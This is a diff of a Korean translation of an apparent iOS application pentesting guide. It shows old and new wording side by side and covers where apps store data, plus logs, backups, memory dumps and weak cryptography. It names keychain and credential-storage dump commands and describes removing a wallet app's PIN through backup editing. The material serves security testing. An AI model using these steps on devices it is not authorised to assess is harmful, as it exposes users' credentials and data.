이 파일을 보다 접근 가능한 형식으로 작업하려는 경우, XML 변환은 macOS에서 `plutil`을 사용하여 쉽게 수행할 수 있습니다(버전 10.2 이상에서 기본적으로 제공됨) 또는 Linux에서 `plistutil`을 사용할 수 있습니다. 변환 명령은 다음과 같습니다: 이 파일을 보다 접근 가능한 형식으로 작업하려는 경우, macOS에서 `plutil`을 사용하여 XML 변환을 쉽게 수행할 수 있습니다(버전 10.2 이상에서 기본적으로 제공됨) 또는 Linux에서 `plistutil`을 사용할 수 있습니다. 변환 명령은 다음과 같습니다:
- **macOS의 경우**: - **macOS의 경우**:
```bash ```bash
@ -197,7 +197,7 @@ $ grep -i <keyword> Info.plist
``` ```
**데이터 경로** **데이터 경로**
iOS 환경에서는 디렉토리가 **시스템 애플리케이션**과 **사용자 설치 애플리케이션**을 위해 특별히 지정됩니다. 시스템 애플리케이션은 `/Applications` 디렉토리에 위치하고, 사용자 설치 앱은 `/var/mobile/containers/Data/Application/` 아래에 배치됩니다. 이러한 애플리케이션은 **128비트 UUID**로 알려진 고유 식별자가 할당되어, 디렉토리 이름의 무작위성으로 인해 수동으로 앱의 폴더를 찾는 것이 어려워집니다. iOS 환경에서는 디렉토리가 **시스템 애플리케이션**과 **사용자 설치 애플리케이션**을 위해 특별히 지정됩니다. 시스템 애플리케이션은 `/Applications` 디렉토리에 위치하고, 사용자 설치 앱은 `/var/mobile/containers/Data/Application/` 아래에 배치됩니다. 이러한 애플리케이션은 **128비트 UUID**라는 고유 식별자가 할당되어, 디렉토리 이름의 무작위성으로 인해 수동으로 앱의 폴더를 찾는 것이 어려워집니다.
> [!WARNING] > [!WARNING]
> iOS의 애플리케이션은 샌드박스화되어야 하므로, 각 앱은 **`$HOME/Library/Containers`** 내에 앱의 **`CFBundleIdentifier`**를 폴더 이름으로 가진 폴더도 갖습니다. > iOS의 애플리케이션은 샌드박스화되어야 하므로, 각 앱은 **`$HOME/Library/Containers`** 내에 앱의 **`CFBundleIdentifier`**를 폴더 이름으로 가진 폴더도 갖습니다.
@ -215,11 +215,11 @@ CachesDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8E
DocumentDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents DocumentDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents
LibraryDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library LibraryDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library
``` ```
안으로, 앱 이름은 `/private/var/containers` 내에서 `find` 명령어를 사용하여 검색할 수 있습니다: , 앱 이름은 `/private/var/containers` 내에서 `find` 명령어를 사용하여 검색할 수 있습니다:
```bash ```bash
find /private/var/containers -name "Progname*" find /private/var/containers -name "Progname*"
``` ```
`ps``lsof`와 같은 명령어는 앱의 프로세스를 식별하고 각각 열린 파일을 나열하는 데 사용될 수 있으며, 애플리케이션의 활성 디렉토리 경로에 대한 통찰력을 제공합니다: `ps``lsof`와 같은 명령어는 각각 앱의 프로세스를 식별하고 열린 파일을 나열하는 데 사용될 수 있으며, 애플리케이션의 활성 디렉토리 경로에 대한 통찰력을 제공합니다:
```bash ```bash
ps -ef | grep -i <app-name> ps -ef | grep -i <app-name>
lsof -p <pid> | grep -i "/containers" | head -n 1 lsof -p <pid> | grep -i "/containers" | head -n 1
@ -228,7 +228,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
- **AppName.app** - **AppName.app**
- 이것은 IPA에서 이전에 본 애플리케이션 번들이며, 필수 애플리케이션 데이터, 정적 콘텐츠 및 애플리케이션의 컴파일된 바이너리를 포함합니다. - 이것은 IPA에서 이전에 본 애플리케이션 번들이며, 필수 애플리케이션 데이터, 정적 콘텐츠 및 애플리케이션의 컴파일된 바이너리를 포함합니다.
- 이 디렉토리는 사용자에게 보이지만 **사용자는 여기에 쓸 수 없습니다**. - 이 디렉토리는 사용자에게 보이지만, **사용자는 여기에 쓸 수 없습니다**.
- 이 디렉토리의 콘텐츠는 **백업되지 않습니다**. - 이 디렉토리의 콘텐츠는 **백업되지 않습니다**.
- 이 폴더의 내용은 **코드 서명을 검증하는 데 사용됩니다**. - 이 폴더의 내용은 **코드 서명을 검증하는 데 사용됩니다**.
@ -236,15 +236,15 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
- **Documents/** - **Documents/**
- 사용자 생성 데이터를 모두 포함합니다. 애플리케이션 최종 사용자가 이 데이터의 생성을 시작합니다. - 사용자 생성 데이터를 모두 포함합니다. 애플리케이션 최종 사용자가 이 데이터의 생성을 시작합니다.
- 사용자에게 보이며 **사용자는 여기에 쓸 수 있습니다**. - 사용자에게 보이며, **사용자는 여기에 쓸 수 있습니다**.
- 이 디렉토리의 콘텐츠는 **백업됩니다**. - 이 디렉토리의 콘텐츠는 **백업됩니다**.
- 앱은 `NSURLIsExcludedFromBackupKey`를 설정하여 경로를 비활성화할 수 있습니다. - 앱은 `NSURLIsExcludedFromBackupKey`를 설정하여 경로를 비활성화할 수 있습니다.
- **Library/** - **Library/**
- **캐시**, **환경 설정**, **쿠키** 및 속성 목록(plist) 구성 파일과 같은 **사용자 특정이 아닌** 모든 **파일**을 포함합니다. - **캐시**, **환경 설정**, **쿠키** 및 속성 목록(plist) 구성 파일과 같은 **사용자 특정이 아닌 모든 파일**을 포함합니다.
- iOS 앱은 일반적으로 `Application Support``Caches` 하위 디렉토리를 사용하지만, 앱은 사용자 정의 하위 디렉토리를 생성할 수 있습니다. - iOS 앱은 일반적으로 `Application Support``Caches` 하위 디렉토리를 사용하지만, 앱은 사용자 정의 하위 디렉토리를 생성할 수 있습니다.
- **Library/Caches/** - **Library/Caches/**
- **반영구적인 캐시 파일**을 포함합니다. - **반영구적인 캐시 파일**을 포함합니다.
- 사용자에게 보이지 않으며 **사용자는 여기에 쓸 수 없습니다**. - 사용자에게 보이지 않으며, **사용자는 여기에 쓸 수 없습니다**.
- 이 디렉토리의 콘텐츠는 **백업되지 않습니다**. - 이 디렉토리의 콘텐츠는 **백업되지 않습니다**.
- OS는 앱이 실행되지 않고 저장 공간이 부족할 때 이 디렉토리의 파일을 자동으로 삭제할 수 있습니다. - OS는 앱이 실행되지 않고 저장 공간이 부족할 때 이 디렉토리의 파일을 자동으로 삭제할 수 있습니다.
- **Library/Application Support/** - **Library/Application Support/**
@ -259,7 +259,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
- **tmp/** - **tmp/**
- 앱 실행 간에 지속될 필요가 없는 **임시 파일**을 작성하는 데 이 디렉토리를 사용합니다. - 앱 실행 간에 지속될 필요가 없는 **임시 파일**을 작성하는 데 이 디렉토리를 사용합니다.
- 비영구적인 캐시 파일을 포함합니다. - 비영구적인 캐시 파일을 포함합니다.
- **사용자에게 보이지 않습니다**. - 사용자에게 **보이지 않습니다**.
- 이 디렉토리의 콘텐츠는 백업되지 않습니다. - 이 디렉토리의 콘텐츠는 백업되지 않습니다.
- OS는 앱이 실행되지 않고 저장 공간이 부족할 때 이 디렉토리의 파일을 자동으로 삭제할 수 있습니다. - OS는 앱이 실행되지 않고 저장 공간이 부족할 때 이 디렉토리의 파일을 자동으로 삭제할 수 있습니다.
@ -279,7 +279,7 @@ Regular 420 None ... README.txt
``` ```
### Binary Reversing ### Binary Reversing
`<application-name>.app` 폴더 안에는 `<application-name>`이라는 이름의 바이너리 파일이 있습니다. 이 파일**실행**될 파일입니다. **`otool`** 도구를 사용하여 바이너리를 기본적으로 검사할 수 있습니다: `<application-name>.app` 폴더 안에는 `<application-name>`이라는 이름의 바이너리 파일이 있습니다. 이**실행**될 파일입니다. **`otool`** 도구를 사용하여 바이너리를 기본적으로 검사할 수 있습니다:
```bash ```bash
otool -Vh DVIA-v2 #Check some compilation attributes otool -Vh DVIA-v2 #Check some compilation attributes
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
@ -366,8 +366,8 @@ ios-basics.md
{{#endref}} {{#endref}}
> [!WARNING] > [!WARNING]
> 다음 정보 저장 위치는 **애플리케이션 설치 직후**, **애플리케이션의 모든 기능을 확인한 후**, 심지어 **한 사용자에서 로그아웃하고 다른 사용자로 로그인한 후**에 확인해야 합니다.\ > 다음 정보 저장 위치는 **애플리케이션 설치 직후**, **애플리케이션의 모든 기능을 확인한 후****한 사용자에서 로그아웃한 후 다른 사용자로 로그인한 후** 확인해야 합니다.\
> 목표는 애플리케이션의 **보호되지 않은 민감한 정보**(비밀번호, 토큰), 현재 사용자 및 이전에 로그인한 사용자에 대한 정보를 찾는 것입니다. > 목표는 애플리케이션의 **보호되지 않은 민감한 정보**(비밀번호, 토큰), 현재 사용자 및 이전에 로그인한 사용자 정보를 찾는 것입니다.
### Plist ### Plist
@ -402,7 +402,7 @@ ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>
``` ```
### Core Data ### Core Data
[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1)는 애플리케이션의 객체 모델 계층을 관리하기 위한 프레임워크입니다. [Core Data는 SQLite를 영구 저장소로 사용할 수 있습니다](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), 하지만 프레임워크 자체는 데이터베이스가 아닙니다.\ [`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1)는 애플리케이션의 객체 모델 계층을 관리하기 위한 프레임워크입니다. [Core Data는 SQLite를 지속적인 저장소로 사용할 수 있습니다](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), 하지만 프레임워크 자체는 데이터베이스가 아닙니다.\
CoreData는 기본적으로 데이터를 암호화하지 않습니다. 그러나 CoreData에 추가적인 암호화 계층을 추가할 수 있습니다. 자세한 내용은 [GitHub Repo](https://github.com/project-imas/encrypted-core-data)를 참조하세요. CoreData는 기본적으로 데이터를 암호화하지 않습니다. 그러나 CoreData에 추가적인 암호화 계층을 추가할 수 있습니다. 자세한 내용은 [GitHub Repo](https://github.com/project-imas/encrypted-core-data)를 참조하세요.
애플리케이션의 SQLite Core Data 정보는 경로 `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support`에서 찾을 수 있습니다. 애플리케이션의 SQLite Core Data 정보는 경로 `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support`에서 찾을 수 있습니다.
@ -442,9 +442,9 @@ Yap 데이터베이스는 sqlite 데이터베이스이므로 이전 섹션에서
```bash ```bash
find ./ -name "*.sqlite" -or -name "*.db" find ./ -name "*.sqlite" -or -name "*.db"
``` ```
### Firebase Real-Time Databases ### Firebase 실시간 데이터베이스
개발자는 Firebase Real-Time Databases를 통해 **NoSQL 클라우드 호스팅 데이터베이스** 내에서 **데이터를 저장하고 동기화**할 수 있습니다. JSON 형식으로 저장된 데이터는 모든 연결된 클라이언트에 실시간으로 동기화됩니다. 개발자는 Firebase 실시간 데이터베이스를 통해 **NoSQL 클라우드 호스팅 데이터베이스** 내에서 **데이터를 저장하고 동기화**할 수 있습니다. JSON 형식으로 저장된 데이터는 모든 연결된 클라이언트에 실시간으로 동기화됩니다.
잘못 구성된 Firebase 데이터베이스를 확인하는 방법은 여기에서 찾을 수 있습니다: 잘못 구성된 Firebase 데이터베이스를 확인하는 방법은 여기에서 찾을 수 있습니다:
@ -452,9 +452,9 @@ find ./ -name "*.sqlite" -or -name "*.db"
../../network-services-pentesting/pentesting-web/buckets/firebase-database.md ../../network-services-pentesting/pentesting-web/buckets/firebase-database.md
{{#endref}} {{#endref}}
### Realm databases ### Realm 데이터베이스
[Realm Objective-C](https://realm.io/docs/objc/latest/) 및 [Realm Swift](https://realm.io/docs/swift/latest/)는 Apple에서 제공하지 않는 데이터 저장을 위한 강력한 대안을 제공합니다. 기본적으로 **암호화되지 않은 데이터**를 저장하며, 특정 구성으로 암호화를 사용할 수 있습니다. [Realm Objective-C](https://realm.io/docs/objc/latest/) 및 [Realm Swift](https://realm.io/docs/swift/latest/)는 Apple에서 제공하지 않는 데이터 저장을 위한 강력한 대안을 제공합니다. 기본적으로 **암호화되지 않은 데이터**를 저장하며, 특정 구성을 통해 암호화가 가능합니다.
데이터베이스는 다음 위치에 있습니다: `/private/var/mobile/Containers/Data/Application/{APPID}`. 이러한 파일을 탐색하려면 다음과 같은 명령을 사용할 수 있습니다: 데이터베이스는 다음 위치에 있습니다: `/private/var/mobile/Containers/Data/Application/{APPID}`. 이러한 파일을 탐색하려면 다음과 같은 명령을 사용할 수 있습니다:
```bash ```bash
@ -487,7 +487,7 @@ ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application S
``` ```
### Cookies ### Cookies
iOS는 각 앱 폴더**`Library/Cookies/cookies.binarycookies`**에 앱의 쿠키를 저장합니다. 그러나 개발자들은 때때로 **백업에서 접근할 수 있는 쿠키 파일** 대신 **keychain**에 저장하기로 결정합니다. iOS는 각 앱 폴더의 **`Library/Cookies/cookies.binarycookies`**에 앱의 쿠키를 저장합니다. 그러나 개발자는 때때로 **백업에서 접근할 수 있는 쿠키 파일** 대신 **키체인**에 저장하기로 결정합니다.
쿠키 파일을 검사하려면 [**이 파이썬 스크립트**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser)를 사용하거나 objection의 **`ios cookies get`**을 사용할 수 있습니다.\ 쿠키 파일을 검사하려면 [**이 파이썬 스크립트**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser)를 사용하거나 objection의 **`ios cookies get`**을 사용할 수 있습니다.\
**또한 objection을 사용하여** 이러한 파일을 JSON 형식으로 변환하고 데이터를 검사할 수 있습니다. **또한 objection을 사용하여** 이러한 파일을 JSON 형식으로 변환하고 데이터를 검사할 수 있습니다.
@ -518,7 +518,7 @@ iOS는 각 앱 폴더 내의 **`Library/Cookies/cookies.binarycookies`**에 앱
이 메서드는 Cache.db 파일에서 모든 캐시된 요청 및 응답을 제거합니다. 이 메서드는 Cache.db 파일에서 모든 캐시된 요청 및 응답을 제거합니다.
2. 쿠키의 이점을 사용할 필요가 없다면 URLSession의 [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) 구성 속성을 사용하는 것이 좋습니다. 이는 쿠키와 캐시 저장을 비활성화합니다. 2. 쿠키의 이점을 사용할 필요가 없다면, URLSession의 [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) 구성 속성을 사용하는 것이 좋습니다. 이는 쿠키와 캐시 저장을 비활성화합니다.
[Apple documentation](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral): [Apple documentation](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
@ -570,7 +570,7 @@ self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
### Keychain ### Keychain
iOS 키체인에 접근하고 관리하기 위해 [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper)와 같은 도구가 제공되며, 이는 탈옥된 장치에 적합합니다. 또한, [**Objection**](https://github.com/sensepost/objection)은 유사한 목적을 위해 `ios keychain dump` 명령을 제공합니다. iOS 키체인에 접근하고 관리하기 위해 [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper)와 같은 도구가 사용 가능하며, 이는 탈옥된 장치에 적합합니다. 또한, [**Objection**](https://github.com/sensepost/objection)은 유사한 목적을 위해 `ios keychain dump` 명령을 제공합니다.
#### **자격 증명 저장** #### **자격 증명 저장**
@ -580,16 +580,16 @@ NSURLCredential *credential;
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent]; credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
[[NSURLCredentialStorage sharedCredentialStorage] setCredential:credential forProtectionSpace:self.loginProtectionSpace]; [[NSURLCredentialStorage sharedCredentialStorage] setCredential:credential forProtectionSpace:self.loginProtectionSpace];
``` ```
이 저장된 자격 증명을 추출하기 위해 Objection의 명령 `ios nsurlcredentialstorage dump`가 사용됩니다. 이 저장된 자격 증명을 추출하기 위해 Objection의 명령 `ios nsurlcredentialstorage dump`가 사용됩니다.
## **커스텀 키보드 및 키보드 캐시** ## **커스텀 키보드 및 키보드 캐시**
iOS 8.0 이상에서는 사용자가 커스텀 키보드 확장을 설치할 수 있으며, 이는 **설정 > 일반 > 키보드 > 키보드**에서 관리할 수 있습니다. 이러한 키보드는 확장된 기능을 제공하지만, 키스트로크 로깅 및 외부 서버로 데이터 전송의 위험이 있습니다. 사용자는 네트워크 접근이 필요한 키보드에 대해 알림을 받습니다. 앱은 민감한 정보 입력을 위해 커스텀 키보드 사용을 제한할 수 있으며, 제한해야 합니다. iOS 8.0 이후로, 사용자는 **설정 > 일반 > 키보드 > 키보드**에서 관리할 수 있는 커스텀 키보드 확장을 설치할 수 있습니다. 이러한 키보드는 확장된 기능을 제공하지만, 키스트로크 로깅 및 외부 서버로 데이터 전송의 위험이 있습니다. 사용자는 네트워크 접근이 필요한 키보드에 대해 알림을 받습니다. 앱은 민감한 정보 입력을 위해 커스텀 키보드 사용을 제한해야 합니다.
**보안 권장 사항:** **보안 권장 사항:**
- 보안을 강화하기 위해 서드파티 키보드를 비활성화하는 것이 좋습니다. - 보안을 강화하기 위해 서드파티 키보드를 비활성화하는 것이 좋습니다.
- 기본 iOS 키보드의 자동 수정 및 자동 제안 기능이 민감한 정보를 `Library/Keyboard/{locale}-dynamic-text.dat` 또는 `/private/var/mobile/Library/Keyboard/dynamic-text.dat`에 캐시 파일로 저장할 수 있으므로 주의해야 합니다. 이러한 캐시 파일은 민감한 데이터를 위해 정기적으로 확인해야 합니다. 캐시된 데이터를 지우기 위해 **설정 > 일반 > 초기화 > 키보드 사전 초기화**를 통해 키보드 사전을 재설정하는 것이 권장됩니다. - 기본 iOS 키보드의 자동 수정 및 자동 제안 기능이 민감한 정보를 `Library/Keyboard/{locale}-dynamic-text.dat` 또는 `/private/var/mobile/Library/Keyboard/dynamic-text.dat`에 캐시 파일로 저장할 수 있으므로 주의해야 합니다. 이러한 캐시 파일은 민감한 데이터를 정기적으로 확인해야 합니다. 캐시된 데이터를 지우기 위해 **설정 > 일반 > 초기화 > 키보드 사전 초기화**를 통해 키보드 사전을 재설정하는 것이 권장됩니다.
- 네트워크 트래픽을 가로채면 커스텀 키보드가 원격으로 키스트로크를 전송하는지 여부를 확인할 수 있습니다. - 네트워크 트래픽을 가로채면 커스텀 키보드가 원격으로 키스트로크를 전송하는지 여부를 확인할 수 있습니다.
### **텍스트 필드 캐싱 방지** ### **텍스트 필드 캐싱 방지**
@ -606,13 +606,13 @@ textField.autocorrectionType = UITextAutocorrectionTypeNo;
``` ```
## **로그** ## **로그**
코드 디버깅은 종종 **로깅**을 포함합니다. **로그에 민감한 정보가 포함될 수 있는 위험**이 있습니다. 이전에는 iOS 6 및 이전 버전에서 로그가 모든 앱에 접근 가능하여 민감한 데이터 유출의 위험이 있었습니다. **현재는 애플리케이션이 자신의 로그에만 접근할 수 있도록 제한됩니다**. 코드 디버깅은 종종 **로깅**을 포함합니다. **로그에 민감한 정보가 포함될 수 있는 위험**이 있습니다. 이전 iOS 6 및 이전 버전에서 로그가 모든 앱에 접근 가능하여 민감한 데이터 유출의 위험이 있었습니다. **현재 애플리케이션은 자신의 로그에만 접근할 수 있도록 제한됩니다**.
이러한 제한에도 불구하고 **잠금 해제된 장치에 물리적으로 접근할 수 있는 공격자**는 여전히 장치를 컴퓨터에 연결하고 **로그를 읽음으로써 이를 악용할 수 있습니다**. 로그는 앱이 제거된 후에도 디스크에 남아 있다는 점에 유의해야 합니다. 이러한 제한에도 불구하고 **잠금 해제된 장치에 물리적으로 접근할 수 있는 공격자**는 여전히 장치를 컴퓨터에 연결하고 **로그를 읽음으로써 이를 악용할 수 있습니다**. 로그는 앱이 제거된 후에도 디스크에 남아 있다는 점에 유의해야 합니다.
위험을 완화하기 위해 **앱과 철저히 상호작용**하고 모든 기능과 입력을 탐색하여 민감한 정보가 우연히 로깅되지 않도록 하는 것이 좋습니다. 위험을 완화하기 위해 **앱과 철저히 상호작용**하고 모든 기능과 입력을 탐색하여 민감한 정보가 우연히 로깅되지 않도록 하는 것이 좋습니다.
앱의 소스 코드를 검토할 때 잠재적인 유출을 위해 `NSLog`, `NSAssert`, `NSCAssert`, `fprintf`와 같은 내장 함수에 대한 키워드와 `Logging` 또는 `Logfile`과 같은 사용자 정의 구현에 대한 언급을 찾아 **미리 정의된** 및 **사용자 정의 로깅 문**을 모두 확인하십시오. 앱의 소스 코드를 검토할 때 잠재적인 유출을 위해 `NSLog`, `NSAssert`, `NSCAssert`, `fprintf`와 같은 키워드를 사용하여 **미리 정의된** 및 **사용자 정의 로깅 문**을 찾아보세요. 또한 사용자 정의 구현을 위한 `Logging` 또는 `Logfile`의 언급도 확인하세요.
### **시스템 로그 모니터링** ### **시스템 로그 모니터링**
@ -642,17 +642,17 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
### 보안 위험 ### 보안 위험
**설치된 앱 및 해당 데이터**가 백업에 포함되는 것은 잠재적인 **데이터 유출** 문제와 **백업 수정이 앱 기능을 변경할 위험**을 제기합니다. 이러한 위험을 완화하기 위해 **어떤 앱의 디렉토리나 하위 디렉토리 내에 민감한 정보를 평문으로 저장하지 않는 것이 좋습니다.** **설치된 앱 및 해당 데이터**가 백업에 포함되 잠재적인 **데이터 유출** 문제와 **백업 수정이 앱 기능을 변경할 위험**이 발생합니다. 이러한 위험을 완화하기 위해 **어떤 앱의 디렉토리나 하위 디렉토리 내에 민감한 정보를 평문으로 저장하지 않는 것이 좋습니다.**
### 백업에서 파일 제외하기 ### 백업에서 파일 제외하기
`Documents/``Library/Application Support/`의 파일은 기본적으로 백업됩니다. 개발자는 `NSURL setResourceValue:forKey:error:`를 사용하여 `NSURLIsExcludedFromBackupKey`와 함께 특정 파일이나 디렉토리를 백업에서 제외할 수 있습니다. 이 관행은 민감한 데이터가 백업에 포함되지 않도록 보호하는 데 중요합니다. `Documents/``Library/Application Support/`의 파일은 기본적으로 백업됩니다. 개발자는 `NSURL setResourceValue:forKey:error:`를 사용하여 특정 파일이나 디렉토리를 백업에서 제외할 수 있으며, `NSURLIsExcludedFromBackupKey`를 사용할 수 있습니다. 이 관행은 민감한 데이터가 백업에 포함되지 않도록 보호하는 데 중요합니다.
### 취약점 테스트 ### 취약점 테스트
앱의 백업 보안을 평가하기 위해, 먼저 Finder를 사용하여 **백업을 생성**한 다음, [Apple의 공식 문서](https://support.apple.com/en-us/HT204215)의 안내에 따라 이를 찾습니다. 백업에서 민감한 데이터나 앱 동작에 영향을 줄 수 있는 구성이 변경될 수 있는지 분석합니다. 앱의 백업 보안을 평가하기 위해, 먼저 Finder를 사용하여 **백업을 생성**한 다음, [Apple의 공식 문서](https://support.apple.com/en-us/HT204215)의 안내에 따라 이를 찾습니다. 백업에서 민감한 데이터나 앱 동작에 영향을 줄 수 있는 구성이 있는지 분석합니다.
민감한 정보는 명령줄 도구나 [iMazing](https://imazing.com)과 같은 애플리케이션을 사용하여 찾을 수 있습니다. 암호화된 백업의 경우, 백업의 루트에 있는 "Manifest.plist" 파일에서 "IsEncrypted" 키를 확인하여 암호화의 존재를 확인할 수 있습니다. 민감한 정보는 명령줄 도구나 [iMazing](https://imazing.com)과 같은 애플리케이션을 사용하여 찾을 수 있습니다. 암호화된 백업의 경우, 백업의 루트에 있는 "Manifest.plist" 파일에서 "IsEncrypted" 키를 확인하여 암호화가 존재하는지 확인할 수 있습니다.
```xml ```xml
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -665,11 +665,11 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
... ...
</plist> </plist>
``` ```
암호화된 백업을 처리하기 위해, [DinoSec의 GitHub 저장소](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts)에서 제공하는 Python 스크립트, 예를 들어 **backup_tool.py**와 **backup_passwd.py**가 유용할 수 있으며, 최신 iTunes/Finder 버전과의 호환성을 위해 조정이 필요할 수 있습니다. [**iOSbackup** 도구](https://pypi.org/project/iOSbackup/)는 비밀번호로 보호된 백업 내 파일에 접근하는 또 다른 옵션입니다. 암호화된 백업을 처리하기 위해 [DinoSec의 GitHub 저장소](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts)에서 제공하는 Python 스크립트, 예를 들어 **backup_tool.py**와 **backup_passwd.py**가 유용할 수 있으며, 최신 iTunes/Finder 버전과의 호환성을 위해 조정이 필요할 수 있습니다. [**iOSbackup** 도구](https://pypi.org/project/iOSbackup/)는 비밀번호로 보호된 백업 내 파일에 접근하는 또 다른 옵션입니다.
### 앱 동작 수정 ### 앱 동작 수정
백업 수정을 통해 앱 동작을 변경하는 예는 [Bither 비트코인 지갑 앱](https://github.com/bither/bither-ios)에서 보여지며, 여기서 UI 잠금 PIN은 **pin_code** 키 아래 `net.bither.plist`에 저장됩니다. 이 키를 plist에서 제거하고 백업을 복원하면 PIN 요구 사항이 제거되어 무제한 접근이 가능합니다. 백업 수정을 통해 앱 동작을 변경하는 예는 [Bither 비트코인 지갑 앱](https://github.com/bither/bither-ios)에서 볼 수 있으며, 여기서 UI 잠금 PIN은 **pin_code** 키 아래 `net.bither.plist`에 저장됩니다. 이 키를 plist에서 제거하고 백업을 복원하면 PIN 요구 사항이 제거되어 무제한 접근이 가능합니다.
## 민감한 데이터에 대한 메모리 테스트 요약 ## 민감한 데이터에 대한 메모리 테스트 요약
@ -677,7 +677,7 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
## **메모리 덤프 검색 및 분석** ## **메모리 덤프 검색 및 분석**
탈옥된 장치와 비탈옥 장치 모두에서, [objection](https://github.com/sensepost/objection) 및 [Fridump](https://github.com/Nightbringer21/fridump)와 같은 도구를 사용하여 앱의 프로세스 메모리를 덤프할 수 있습니다. 덤프된 데이터를 분석하려면, 찾고자 하는 정보의 성격에 따라 다양한 도구가 필요합니다. 탈옥된 장치와 비탈옥 장치 모두에서 [objection](https://github.com/sensepost/objection) 및 [Fridump](https://github.com/Nightbringer21/fridump)와 같은 도구를 사용하여 앱의 프로세스 메모리를 덤프할 수 있습니다. 덤프된 데이터를 분석하려면 검색하려는 정보의 성격에 따라 다양한 도구가 필요합니다.
메모리 덤프에서 문자열을 추출하기 위해 `strings` 또는 `rabin2 -zz`와 같은 명령을 사용할 수 있습니다: 메모리 덤프에서 문자열을 추출하기 위해 `strings` 또는 `rabin2 -zz`와 같은 명령을 사용할 수 있습니다:
```bash ```bash
@ -687,7 +687,7 @@ $ strings memory > strings.txt
# Extracting strings using rabin2 # Extracting strings using rabin2
$ rabin2 -ZZ memory > strings.txt $ rabin2 -ZZ memory > strings.txt
``` ```
보다 자세한 분석을 위해 특정 데이터 유형이나 패턴을 검색하는 경우, **radare2**는 광범위한 검색 기능을 제공합니다: 보다 자세한 분석을 위해, 특정 데이터 유형이나 패턴을 검색하는 것을 포함하여, **radare2**는 광범위한 검색 기능을 제공합니다:
```bash ```bash
$ r2 <name_of_your_dump_file> $ r2 <name_of_your_dump_file>
[0x00000000]> /? [0x00000000]> /?
@ -695,26 +695,26 @@ $ r2 <name_of_your_dump_file>
``` ```
## **런타임 메모리 분석** ## **런타임 메모리 분석**
**r2frida**는 메모리 덤프 없이 앱의 메모리를 실시간으로 검사할 수 있는 강력한 대안을 제공합니다. 이 도구는 실행 중인 애플리케이션의 메모리에서 직접 검색 명령을 실행할 수 있게 해줍니다: **r2frida**는 메모리 덤프 없이 실시간으로 앱의 메모리를 검사할 수 있는 강력한 대안을 제공합니다. 이 도구는 실행 중인 애플리케이션의 메모리에서 직접 검색 명령을 실행할 수 있게 해줍니다:
```bash ```bash
$ r2 frida://usb//<name_of_your_app> $ r2 frida://usb//<name_of_your_app>
[0x00000000]> /\ <search_command> [0x00000000]> /\ <search_command>
``` ```
## Broken Cryptography ## 깨진 암호화
### Poor Key Management Processes ### 불완전한 키 관리 프로세스
일부 개발자는 민감한 데이터를 로컬 스토리지에 저장하고 코드에 하드코딩되거나 예측 가능한 키로 암호화합니다. 이는 역공학을 통해 공격자가 기밀 정보를 추출할 수 있으므로 피해야 합니다. 일부 개발자는 민감한 데이터를 로컬 스토리지에 저장하고 코드에 하드코딩되거나 예측 가능한 키로 암호화합니다. 이는 역공학을 통해 공격자가 기밀 정보를 추출할 수 있으므로 피해야 합니다.
### Use of Insecure and/or Deprecated Algorithms ### 안전하지 않거나 사용 중지된 알고리즘의 사용
